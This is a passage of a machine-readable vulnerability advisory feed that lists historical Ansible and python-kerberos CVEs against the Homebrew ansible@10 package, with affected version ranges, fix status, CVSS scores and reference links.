instructions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4657"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/998793fd0ab55705d57527a38cee5e83f535974c"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-199.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133852/https://www.securityfocus.com/bid/68232"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4658","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-5g4v-2pc6-4hh4","CVE-2014-4658","PYSEC-2020-200"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sensitive Files Are Locally Readable","details":"The vault subsystem in Ansible before 1.5.5 does not set the umask before creation or modification of a vault file, which allows local users to obtain sensitive key information by reading a file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4658"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-200.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20210120133853/https://www.securityfocus.com/bid/68233"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4659","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-6667-f46p-pg88","CVE-2014-4659","PYSEC-2020-201"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Ansible sets unsafe permissions for sources.list","details":"Ansible before 1.5.5 sets 0644 permissions for `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by reading a file that uses the `&quot;deb http://user:pass@server:port/&quot;` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4659"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a0e027fe362fbc209dbeff2f72d6e95f39885c69"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-201.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200229060001/https://www.securityfocus.com/bid/68234"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4660","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-5xm4-jmpw-p6j3","CVE-2014-4660","PYSEC-2020-202"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible discloses credential information","details":"Ansible before 1.5.5 constructs filenames containing user and password fields on the basis of deb lines in `sources.list`, which might allow local users to obtain sensitive credential information in opportunistic circumstances by leveraging existence of a file that uses the `deb http://user:pass@server:port/` format.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4660"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c4b5e46054c74176b2446c82d4df1a2610eddc08"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/release1.5.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-202.yaml"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4660"},{"type":"WEB","url":"https://web.archive.org/web/20200229060002/https://www.securityfocus.com/bid/68231"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/19"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4678","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-66c7-5pwv-mm3j","CVE-2014-4678","PYSEC-2020-203"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Code Injection Vulnerability","details":"The safe_eval function in Ansible before 1.6.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-4657.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4678"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5429b85b9f6c2e640074176f36ff05fd5e4d1916"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-203.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/message/raw?msg=ansible-announce/ieV1vZvcTXU/5Q93ThkY9rIJ"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2014-4678"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/06/26/30"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2014/07/02/2"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/freebsd-vid-2c493ac8-205e-11e5-a4a5-002590263bf5"},{"type":"WEB","url":"https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-4678"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4966","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-wqq5-c89p-3wc3","CVE-2014-4966","PYSEC-2020-204"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before 1.6.7 does not prevent inventory data with \"{{\" and \"lookup\" substrings, and does not prevent remote data with \"{{\" substrings, which allows remote attackers to execute arbitrary code via (1) crafted lookup('pipe') calls or (2) crafted Jinja2 data.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4966"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-204.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2014-4967","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-64cw-m57j-65xj","CVE-2014-4967","PYSEC-2020-205"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.6.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Multiple argument injection vulnerabilities in Ansible before 1.6.7 allow remote attackers to execute arbitrary code by leveraging access to an Ansible managed host and providing a crafted fact, as demonstrated by a fact with (1) a trailing \" src=\" clause, (2) a trailing \" temp=\" clause, or (3) a trailing \" validate=\" clause accompanied by a shell command.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-4967"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/62a1295a3e08cb6c3e9f1b2a1e6e5dcaeab32527"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-205.yaml"},{"type":"WEB","url":"http://www.ocert.org/advisories/ocert-2014-004.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2015-3206","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-mffc-9gx5-99g3","CVE-2015-3206","PYSEC-2017-49","PYSEC-2017-66"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"kerberos","resource_purl":"pkg:pypi/kerberos@1.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"kerberos","subject_version":"1.3.1","key":"pkg:pypi/kerberos@1.3.1","resource":"kerberos"}]},"summary":"python-kerberos vulnerable to KDC spoofing attacks","details":"The `checkPassword` function in python-kerberos does not authenticate the KDC it attempts to communicate with, which allows remote attackers to cause a denial of service (bad response), or have other unspecified impact by performing a man-in-the-middle attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3206"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/issues/31"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/commit/9cb61c93f9b24dd18a0a315f3df5445529c5c333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1223802"},{"type":"PACKAGE","url":"https://github.com/apple/ccs-pykerberos"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/kerberos/PYSEC-2017-49.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pykerberos/PYSEC-2017-66.yaml"},{"type":"WEB","url":"https://pypi.python.org/pypi/kerberos"},{"type":"WEB","url":"https://web.archive.org/web/20150910143429/https://trac.calendarserver.org/ticket/833"},{"type":"WEB","url":"https://web.archive.org/web/20200228090829/http://www.securityfocus.com/bid/74760"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/05/21/3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2015-3908","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-w64c-pxjj-h866","CVE-2015-3908","PYSEC-2015-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible does not verify that the server hostname matches a domain name in certificates","details":"Ansible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3908"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w64c-pxjj-h866"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2015-1.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-07/msg00051.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-08/msg00029.html"},{"type":"WEB","url":"http://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/07/14/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2015-6240","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-wwwh-47wp-m522","CVE-2015-6240","PYSEC-2017-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sandbox Escape via Symlink Attack","details":"The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-6240"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1243468"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-3.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/08/17/10"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2016-3096","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-rh6x-qvg7-rrmj","CVE-2016-3096","PYSEC-2016-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Link Following in ansible","details":"The `create_script` function in the `lxc_container` module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) `/opt/.lxc-attach-script`, (2) the archived container in the `archive_path` directory, or the (3) `lxc-attach-script.log` or (4) `lxc-attach-script.err` files in the temporary directory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3096"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/pull/1941"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/commit/7c3999a92a1cd856ff9bc8913a93ff1aee8bffc3"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1322925"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rh6x-qvg7-rrmj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v1.9.6-1/CHANGELOG.md#196-dancing-in-the-street---tbd"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.0.2.0-1/CHANGELOG.md#202-over-the-hills-and-far-away"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2016-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/E80HLZilTU0"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/tqiZbcWxYig"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201607-14"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183103.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183132.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183252.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183274.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184175.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2016-8614","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-cmwx-9m2h-x7v4","CVE-2016-8614","PYSEC-2018-37"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible apt_key module does not properly verify key fingerprint","details":"A flaw was found in Ansible before version 2.2.0.0. The `apt_key` module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8614"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/issues/5237"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5353"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5357"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/1182d1f0b76d56f3667e27987a10b9ec8f03357d"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/66d47c8149d84e52f64b7c4d1f340d45dca94d9c"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cmwx-9m2h-x7v4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-37.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214450/https://www.securityfocus.com/bid/94108"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2016-8628","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jg4f-jqm5-4mgq","CVE-2016-8628","PYSEC-2018-38"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly sanitize fact variables sent from the Ansible controller","details":"Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8628"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/41903"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/35938b907dfcd1106ca40b794f0db446bdb8cf09"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2016:2778"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8628"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jg4f-jqm5-4mgq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-38.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214455/http://www.securityfocus.com/bid/94109"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2016-8647","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-x4cm-m36h-c6qj","CVE-2016-8647","PYSEC-2018-58"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"P